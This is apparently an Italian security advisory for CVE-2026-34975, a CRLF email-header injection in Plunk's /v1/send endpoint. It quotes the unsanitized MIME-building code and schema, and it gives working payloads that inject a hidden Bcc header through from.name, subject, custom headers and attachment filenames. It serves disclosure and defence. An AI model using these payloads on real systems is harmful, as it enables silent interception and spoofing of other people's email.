CVE-2026-34975 — Iniezione di intestazioni email CRLF in Plunk tramite costruzione MIME raw

Gravità: Alta (CVSS 8.5) CWE: CWE-93 — Neutralizzazione impropria delle sequenze CRLF ('CRLF Injection') Affetto: useplunk/plunk <= 0.7.1 Corretto in: 0.8.0 Avviso: GHSA-2mvm-rg5v-7hfq NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975 Credito: Romain Deperne

TL;DR

L'endpoint POST /v1/send di Plunk costruisce un messaggio email MIME raw interpolando i campi forniti dall'utente (from.name, subject, intestazioni personalizzate, nomi dei file allegati) direttamente in una stringa template senza sanitizzazione CRLF (\r\n). Un utente API autenticato può iniettare intestazioni email arbitrarie — inclusa Bcc — per reindirizzare silenziosamente copie delle email verso indirizzi controllati dall'attaccante.

Analisi

Stavo analizzando piattaforme open-source per l'invio di email — qualsiasi cosa che faccia da wrapper ad AWS SES ed esponga un'API. Plunk si posiziona come alternativa developer-friendly a SendGrid/Postmark, basata su SES.

Il mio punto di partenza è stata la funzione di costruzione dell'email raw. Ogni volta che vedo rawMessage += o template literal che costruiscono MIME, verifico se ogni campo fornito dall'utente è sanitizzato rispetto a CRLF. In SESService.ts, la risposta era chiaramente no: from.name, subject, le intestazioni personalizzate e i nomi dei file allegati erano tutti interpolati direttamente.

Ciò che ha confermato che era sfruttabile: lo schema Zod (packages/shared/src/schemas/index.ts) non aveva alcun .regex() o .refine() che rifiutasse \r\n su nessuno di quei campi. Nessuna sanitizzazione a livello di schema, nessuna sanitizzazione a livello di costruzione MIME — percorso pulito dall'input API all'intestazione MIME iniettata.

Ho testato tutti e quattro i vettori (from.name, subject, valore di intestazione personalizzata, nome del file allegato) e ho confermato che l'iniezione di Bcc: funziona. Qualsiasi utente API autenticato con un dominio mittente verificato può copiare silenziosamente ogni email in uscita verso un indirizzo controllato dall'attaccante. Lo scenario di attacco realistico è una chiave API compromessa che si trasforma in un intercettamento persistente delle email.

Componente affetto

File: apps/api/src/services/SESService.ts, righe 137–151

// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
                 `To: ${to}\r\n` +
                 `Subject: ${content.subject}\r\n`;

// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
    rawMessage += `${key}: ${value}\r\n`;  // value not sanitized
}

// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized

Schema Zod (packages/shared/src/schemas/index.ts) — nessuna validazione CRLF:

headers: z.record(z.string().max(998)).optional()   // no \r\n check
from: { name: z.string().optional() }               // no \r\n check
subject: z.string().min(1).max(998)                 // no \r\n check
filename: z.string().min(1).max(255)                // no \r\n check

Causa principale

La costruzione raw di MIME richiede che ogni valore fornito dall'utente venga ripulito da \r\n prima dell'interpolazione. Plunk costruisce il messaggio con template literal e non sanifica nessuno dei quattro campi iniettabili. I parser SMTP interpretano \r\n come confine di header, quindi iniettare \r\nBcc: [email protected] in from.name aggiunge un header Bcc reale al messaggio in uscita.

PoC

Vedi poc.py per una dimostrazione completa con quattro vettori di injection.

Payload principale — injection Bcc tramite from.name:

payload = {
    "to": "[email protected]",
    "subject": "Legit email",
    "body": "<p>Nothing to see here.</p>",
    "from": {
        "name": "Legit Sender\r\nBcc: [email protected]",
        "email": "[email protected]",
    },
}

MIME non elaborato prodotto da SES:

From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email

SES consegna una copia silenziosa a [email protected] con ogni email inviata tramite la chiave API compromessa.

Altri vettori di injection:

• subject: "Legit Subject\r\nBcc: [email protected]"
• Valore di header personalizzato: {"X-Custom": "value\r\nBcc: [email protected]"}
• Nome file dell'allegato: injection del boundary MIME

Impatto

1. Reindirizzamento silenzioso delle email — invia in BCC qualsiasi email in uscita a un indirizzo controllato dall'attaccante
2. Spoofing delle email — sovrascrive gli header Reply-To, Return-Path, Sender
3. Corruzione della struttura MIME — inietta parti MIME arbitrarie tramite il nome file dell'allegato
4. Richiede solo una chiave API Plunk valida e un dominio mittente verificato — accesso autenticato standard

Cronologia

• Segnalato: advisory privato GHSA
• CVE pubblicato: CVE-2026-34975